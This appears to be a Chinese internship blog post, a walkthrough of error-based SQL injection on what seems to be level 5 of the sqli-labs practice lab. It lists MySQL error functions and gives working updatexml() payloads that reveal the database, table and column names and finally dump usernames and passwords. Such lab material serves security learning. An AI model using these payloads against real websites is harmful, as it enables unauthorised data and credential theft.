生产实习--启明星辰 第六天(SQL注入 报错注入)

报错注入

报错注入适合用于数据库错误的信息会回显到前端页面的时候

这里用第五关

常见的报错注入函数

extractvalue()、

floor()、

updatexml()、

exp()、

geometrycollection(),

multipoint(),

polygon(),

multipolygon(),

linestring(),

multilinestring()

原理

BIGINT等数据类型溢出

xpath语法错误

count()+rand()+groupby()导致主键重复

实践

在这里基于updatexml() 函数来实现sql注入,updatexml() 是 MySQL 数据库中的一个函数,它用于更新 XML 文档中的数据。这个函数可以对 XML 格式的字符串进行修改,然后返回修改后的 XML 字符串,其原理就是利用了xpath语法错误。

这里用第五关

暴库

?id=1' and updatexml(1,concat('^',(database()),'^'),1) --+

暴表

?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security' limit 0,1 ),'^'),1) --+

?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security' limit 1,1 ),'^'),1) --+

如上图,共有四个表。

暴字段

?id=1' and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),'^'),1) --+

暴数据

?id=1' and updatexml(1,concat('^',(select group_concat(username,"--",password) from users limit 0,1 ),'^'),1) --+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值